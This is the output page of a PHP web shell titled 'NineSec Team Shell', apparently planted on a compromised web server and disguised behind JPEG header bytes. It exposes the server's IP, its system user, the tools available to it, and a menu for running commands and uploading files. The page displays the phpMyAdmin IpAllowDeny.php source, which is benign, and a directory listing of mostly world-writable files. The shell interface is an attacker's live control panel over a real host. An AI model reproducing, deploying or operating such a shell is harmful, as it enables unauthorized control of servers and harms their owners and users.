�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/readytorun/domains/demo.readytorun.it/public_html/phmad/libraries/classes/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/readytorun/domains/demo.readytorun.it/public_html/phmad/libraries/classes/IpAllowDeny.php
<?php
/**
 * This library is used with the server IP allow/deny host authentication
 * feature
 */

declare(strict_types=1);

namespace PhpMyAdmin;

use function bin2hex;
use function dechex;
use function explode;
use function hash_equals;
use function hexdec;
use function inet_pton;
use function ip2long;
use function is_array;
use function mb_strpos;
use function mb_strtolower;
use function mb_substr;
use function min;
use function preg_match;
use function str_replace;
use function substr_replace;

/**
 * PhpMyAdmin\IpAllowDeny class
 */
class IpAllowDeny
{
    /**
     * Matches for IPv4 or IPv6 addresses
     *
     * @param string $testRange string of IP range to match
     * @param string $ipToTest  string of IP to test against range
     */
    public function ipMaskTest($testRange, $ipToTest): bool
    {
        if (mb_strpos($testRange, ':') > -1 || mb_strpos($ipToTest, ':') > -1) {
            // assume IPv6
            $result = $this->ipv6MaskTest($testRange, $ipToTest);
        } else {
            $result = $this->ipv4MaskTest($testRange, $ipToTest);
        }

        return $result;
    }

    /**
     * Based on IP Pattern Matcher
     * Originally by J.Adams <jna@retina.net>
     * Found on <https://www.php.net/manual/en/function.ip2long.php>
     * Modified for phpMyAdmin
     *
     * Matches:
     * xxx.xxx.xxx.xxx        (exact)
     * xxx.xxx.xxx.[yyy-zzz]  (range)
     * xxx.xxx.xxx.xxx/nn     (CIDR)
     *
     * Does not match:
     * xxx.xxx.xxx.xx[yyy-zzz]  (range, partial octets not supported)
     *
     * @param string $testRange string of IP range to match
     * @param string $ipToTest  string of IP to test against range
     */
    public function ipv4MaskTest($testRange, $ipToTest): bool
    {
        $result = true;
        $match = preg_match('|([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)/([0-9]+)|', $testRange, $regs);
        if ($match) {
            // performs a mask match
            $ipl = ip2long($ipToTest);
            $rangel = ip2long($regs[1] . '.' . $regs[2] . '.' . $regs[3] . '.' . $regs[4]);

            $maskl = 0;

            for ($i = 0; $i < 31; $i++) {
                if ($i >= $regs[5] - 1) {
                    continue;
                }

                $maskl += 2 ** (30 - $i);
            }

            return ($maskl & $rangel) == ($maskl & $ipl);
        }

        // range based
        $maskocts = explode('.', $testRange);
        $ipocts = explode('.', $ipToTest);

        // perform a range match
        for ($i = 0; $i < 4; $i++) {
            if (preg_match('|\[([0-9]+)\-([0-9]+)\]|', $maskocts[$i], $regs)) {
                if (($ipocts[$i] > $regs[2]) || ($ipocts[$i] < $regs[1])) {
                    $result = false;
                }
            } else {
                if ($maskocts[$i] <> $ipocts[$i]) {
                    $result = false;
                }
            }
        }

        return $result;
    }

    /**
     * IPv6 matcher
     * CIDR section taken from https://stackoverflow.com/a/10086404
     * Modified for phpMyAdmin
     *
     * Matches:
     * xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx
     * (exact)
     * xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:[yyyy-zzzz]
     * (range, only at end of IP - no subnets)
     * xxxx:xxxx:xxxx:xxxx/nn
     * (CIDR)
     *
     * Does not match:
     * xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xx[yyy-zzz]
     * (range, partial octets not supported)
     *
     * @param string $test_range string of IP range to match
     * @param string $ip_to_test string of IP to test against range
     */
    public function ipv6MaskTest($test_range, $ip_to_test): bool
    {
        $result = true;

        // convert to lowercase for easier comparison
        $test_range = mb_strtolower($test_range);
        $ip_to_test = mb_strtolower($ip_to_test);

        $is_cidr = mb_strpos($test_range, '/') > -1;
        $is_range = mb_strpos($test_range, '[') > -1;
        $is_single = ! $is_cidr && ! $is_range;

        $ip_hex = bin2hex((string) inet_pton($ip_to_test));

        if ($is_single) {
            $range_hex = bin2hex((string) inet_pton($test_range));

            return hash_equals($ip_hex, $range_hex);
        }

        if ($is_range) {
            // what range do we operate on?
            $range_match = [];
            $match = preg_match('/\[([0-9a-f]+)\-([0-9a-f]+)\]/', $test_range, $range_match);
            if ($match) {
                $range_start = $range_match[1];
                $range_end = $range_match[2];

                // get the first and last allowed IPs
                $first_ip = str_replace($range_match[0], $range_start, $test_range);
                $first_hex = bin2hex((string) inet_pton($first_ip));
                $last_ip = str_replace($range_match[0], $range_end, $test_range);
                $last_hex = bin2hex((string) inet_pton($last_ip));

                // check if the IP to test is within the range
                $result = ($ip_hex >= $first_hex && $ip_hex <= $last_hex);
            }

            return $result;
        }

        if ($is_cidr) {
            // Split in address and prefix length
            [$first_ip, $subnet] = explode('/', $test_range);

            // Parse the address into a binary string
            $first_bin = inet_pton($first_ip);
            $first_hex = bin2hex((string) $first_bin);

            $flexbits = 128 - (int) $subnet;

            // Build the hexadecimal string of the last address
            $last_hex = $first_hex;

            $pos = 31;
            while ($flexbits > 0) {
                // Get the character at this position
                $orig = mb_substr($last_hex, $pos, 1);

                // Convert it to an integer
                $origval = hexdec($orig);

                // OR it with (2^flexbits)-1, with flexbits limited to 4 at a time
                $newval = $origval | 2 ** min(4, $flexbits) - 1;

                // Convert it back to a hexadecimal character
                $new = dechex($newval);

                // And put that character back in the string
                $last_hex = substr_replace($last_hex, $new, $pos, 1);

                // We processed one nibble, move to previous position
                $flexbits -= 4;
                --$pos;
            }

            // check if the IP to test is within the range
            $result = ($ip_hex >= $first_hex && $ip_hex <= $last_hex);
        }

        return $result;
    }

    /**
     * Runs through IP Allow rules the use of it below for more information
     *
     * @see     Core::getIp()
     */
    public function allow(): bool
    {
        return $this->allowDeny('allow');
    }

    /**
     * Runs through IP Deny rules the use of it below for more information
     *
     * @see     Core::getIp()
     */
    public function deny(): bool
    {
        return $this->allowDeny('deny');
    }

    /**
     * Runs through IP Allow/Deny rules the use of it below for more information
     *
     * @see     Core::getIp()
     *
     * @param string $type 'allow' | 'deny' type of rule to match
     */
    private function allowDeny($type): bool
    {
        global $cfg;

        // Grabs true IP of the user and returns if it can't be found
        $remote_ip = Core::getIp();
        if (empty($remote_ip)) {
            return false;
        }

        // copy username
        $username = $cfg['Server']['user'];

        // copy rule database
        if (isset($cfg['Server']['AllowDeny']['rules'])) {
            $rules = $cfg['Server']['AllowDeny']['rules'];
            if (! is_array($rules)) {
                $rules = [];
            }
        } else {
            $rules = [];
        }

        // lookup table for some name shortcuts
        $shortcuts = [
            'all' => '0.0.0.0/0',
            'localhost' => '127.0.0.1/8',
        ];

        // Provide some useful shortcuts if server gives us address:
        if (Core::getenv('SERVER_ADDR')) {
            $shortcuts['localnetA'] = Core::getenv('SERVER_ADDR') . '/8';
            $shortcuts['localnetB'] = Core::getenv('SERVER_ADDR') . '/16';
            $shortcuts['localnetC'] = Core::getenv('SERVER_ADDR') . '/24';
        }

        foreach ($rules as $rule) {
            // extract rule data
            $rule_data = explode(' ', $rule);

            // check for rule type
            if ($rule_data[0] != $type) {
                continue;
            }

            // check for username
            if (
                ($rule_data[1] !== '%') //wildcarded first
                && (! hash_equals($rule_data[1], $username))
            ) {
                continue;
            }

            // check if the config file has the full string with an extra
            // 'from' in it and if it does, just discard it
            if ($rule_data[2] === 'from') {
                $rule_data[2] = $rule_data[3];
            }

            // Handle shortcuts with above array
            if (isset($shortcuts[$rule_data[2]])) {
                $rule_data[2] = $shortcuts[$rule_data[2]];
            }

            // Add code for host lookups here
            // Excluded for the moment

            // Do the actual matching now
            if ($this->ipMaskTest($rule_data[2], $remote_ip)) {
                return true;
            }
        }

        return false;
    }
}

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
September 11 2024 5:18:57
readytorun
0755
Charsets
--
September 11 2024 5:18:57
readytorun
0755
Command
--
September 11 2024 5:18:57
readytorun
0755
Config
--
September 11 2024 5:18:57
readytorun
0755
ConfigStorage
--
September 11 2024 5:18:57
readytorun
0755
Controllers
--
September 11 2024 5:18:57
readytorun
0755
Crypto
--
September 11 2024 5:18:57
readytorun
0755
Database
--
September 11 2024 5:18:57
readytorun
0755
Dbal
--
September 11 2024 5:18:57
readytorun
0755
Display
--
September 11 2024 5:18:57
readytorun
0755
Engines
--
September 11 2024 5:18:57
readytorun
0755
Exceptions
--
September 11 2024 5:18:57
readytorun
0755
Export
--
September 11 2024 5:18:57
readytorun
0755
Gis
--
September 11 2024 5:18:57
readytorun
0755
Html
--
September 11 2024 5:18:57
readytorun
0755
Http
--
September 11 2024 5:18:57
readytorun
0755
Image
--
September 11 2024 5:18:57
readytorun
0755
Import
--
September 11 2024 5:18:57
readytorun
0755
Navigation
--
September 11 2024 5:18:57
readytorun
0755
Partitioning
--
September 11 2024 5:18:57
readytorun
0755
Plugins
--
September 11 2024 5:18:57
readytorun
0755
Properties
--
September 11 2024 5:18:57
readytorun
0755
Providers
--
September 11 2024 5:18:57
readytorun
0755
Query
--
September 11 2024 5:18:57
readytorun
0755
Server
--
September 11 2024 5:18:57
readytorun
0755
Setup
--
September 11 2024 5:18:57
readytorun
0755
Table
--
September 11 2024 5:18:57
readytorun
0755
Twig
--
September 11 2024 5:18:57
readytorun
0755
Utils
--
September 11 2024 5:18:57
readytorun
0755
.htaccess
0.124 KB
November 14 2025 9:26:18
readytorun
0444
Advisor.php
12.317 KB
August 28 2023 5:04:12
readytorun
0777
Bookmark.php
9.188 KB
August 28 2023 5:04:12
readytorun
0777
BrowseForeigners.php
10.644 KB
August 28 2023 5:04:12
readytorun
0777
Cache.php
1.502 KB
August 28 2023 5:04:11
readytorun
0777
Charsets.php
6.823 KB
August 28 2023 5:04:12
readytorun
0777
CheckUserPrivileges.php
11.303 KB
August 28 2023 5:04:12
readytorun
0777
Common.php
19.156 KB
August 28 2023 5:04:12
readytorun
0777
Config.php
41.534 KB
August 28 2023 5:04:12
readytorun
0777
Console.php
3.251 KB
August 28 2023 5:04:12
readytorun
0777
Core.php
29.376 KB
August 28 2023 5:04:13
readytorun
0777
CreateAddField.php
15.951 KB
August 28 2023 5:04:11
readytorun
0777
DatabaseInterface.php
71.577 KB
August 28 2023 5:04:12
readytorun
0777
DbTableExists.php
2.859 KB
August 28 2023 5:04:12
readytorun
0777
Encoding.php
8.41 KB
August 28 2023 5:04:12
readytorun
0777
Error.php
13.626 KB
August 28 2023 5:04:12
readytorun
0777
ErrorHandler.php
18.225 KB
August 28 2023 5:04:12
readytorun
0777
ErrorReport.php
8.988 KB
August 28 2023 5:04:11
readytorun
0777
Export.php
45.555 KB
August 28 2023 5:04:11
readytorun
0777
FieldMetadata.php
11.244 KB
August 28 2023 5:04:12
readytorun
0777
File.php
19.745 KB
August 28 2023 5:04:11
readytorun
0777
FileListing.php
2.877 KB
August 28 2023 5:04:12
readytorun
0777
FlashMessages.php
1.217 KB
August 28 2023 5:04:12
readytorun
0777
Font.php
5.54 KB
August 28 2023 5:04:12
readytorun
0777
Footer.php
8.061 KB
August 28 2023 5:04:12
readytorun
0777
Git.php
17.859 KB
August 28 2023 5:04:11
readytorun
0777
Header.php
19.871 KB
August 28 2023 5:04:12
readytorun
0777
Import.php
48.719 KB
August 28 2023 5:04:11
readytorun
0777
Index.php
14.83 KB
August 28 2023 5:04:11
readytorun
0777
IndexColumn.php
4.755 KB
August 28 2023 5:04:12
readytorun
0777
InsertEdit.php
89.076 KB
August 28 2023 5:04:11
readytorun
0777
InternalRelations.php
17.314 KB
August 28 2023 5:04:11
readytorun
0777
IpAllowDeny.php
9.13 KB
August 28 2023 5:04:11
readytorun
0777
Language.php
4.473 KB
August 28 2023 5:04:12
readytorun
0777
LanguageManager.php
22.641 KB
August 28 2023 5:04:13
readytorun
0777
Linter.php
4.988 KB
August 28 2023 5:04:12
readytorun
0777
ListAbstract.php
1.669 KB
August 28 2023 5:04:11
readytorun
0777
ListDatabase.php
4.112 KB
August 28 2023 5:04:11
readytorun
0777
Logging.php
2.691 KB
August 28 2023 5:04:13
readytorun
0777
Menu.php
20.401 KB
August 28 2023 5:04:12
readytorun
0777
Message.php
18.68 KB
August 28 2023 5:04:13
readytorun
0777
Mime.php
0.896 KB
August 28 2023 5:04:12
readytorun
0777
Normalization.php
41.575 KB
August 28 2023 5:04:12
readytorun
0777
OpenDocument.php
8.619 KB
August 28 2023 5:04:11
readytorun
0777
Operations.php
35.114 KB
August 28 2023 5:04:12
readytorun
0777
OutputBuffering.php
4.099 KB
August 28 2023 5:04:13
readytorun
0777
ParseAnalyze.php
2.337 KB
August 28 2023 5:04:11
readytorun
0777
Pdf.php
4.174 KB
August 28 2023 5:04:12
readytorun
0777
Plugins.php
21.82 KB
August 28 2023 5:04:12
readytorun
0777
Profiling.php
2.158 KB
August 28 2023 5:04:11
readytorun
0777
RecentFavoriteTable.php
11.436 KB
August 28 2023 5:04:13
readytorun
0777
Replication.php
4.81 KB
August 28 2023 5:04:12
readytorun
0777
ReplicationGui.php
21.239 KB
August 28 2023 5:04:11
readytorun
0777
ReplicationInfo.php
4.792 KB
August 28 2023 5:04:11
readytorun
0777
ResponseRenderer.php
13.495 KB
August 28 2023 5:04:11
readytorun
0777
Routing.php
5.971 KB
August 28 2023 5:04:12
readytorun
0777
Sanitize.php
11.981 KB
August 28 2023 5:04:11
readytorun
0777
SavedSearches.php
11.328 KB
August 28 2023 5:04:12
readytorun
0777
Scripts.php
3.738 KB
August 28 2023 5:04:11
readytorun
0777
Session.php
8.162 KB
August 28 2023 5:04:11
readytorun
0777
Sql.php
63.988 KB
August 28 2023 5:04:12
readytorun
0777
SqlQueryForm.php
6.742 KB
August 28 2023 5:04:12
readytorun
0777
StorageEngine.php
15.723 KB
August 28 2023 5:04:12
readytorun
0777
SystemDatabase.php
3.98 KB
August 28 2023 5:04:11
readytorun
0777
Table.php
90.179 KB
August 28 2023 5:04:13
readytorun
0777
Template.php
4.505 KB
August 28 2023 5:04:12
readytorun
0777
Theme.php
7.319 KB
August 28 2023 5:04:12
readytorun
0777
ThemeManager.php
6.999 KB
August 28 2023 5:04:12
readytorun
0777
Tracker.php
30.337 KB
August 28 2023 5:04:12
readytorun
0777
Tracking.php
36.106 KB
August 28 2023 5:04:12
readytorun
0777
Transformations.php
16.314 KB
August 28 2023 5:04:12
readytorun
0777
TwoFactor.php
6.979 KB
August 28 2023 5:04:11
readytorun
0777
Types.php
24.739 KB
August 28 2023 5:04:12
readytorun
0777
Url.php
10.608 KB
August 28 2023 5:04:12
readytorun
0777
UrlRedirector.php
1.735 KB
August 28 2023 5:04:12
readytorun
0777
UserPassword.php
6.859 KB
August 28 2023 5:04:11
readytorun
0777
UserPreferences.php
10.488 KB
August 28 2023 5:04:12
readytorun
0777
Util.php
85.741 KB
August 28 2023 5:04:12
readytorun
0777
Version.php
0.543 KB
August 28 2023 5:04:12
readytorun
0777
VersionInformation.php
7.3 KB
August 28 2023 5:04:13
readytorun
0777
ZipExtension.php
10.334 KB
August 28 2023 5:04:12
readytorun
0777

NineSec Team - 2022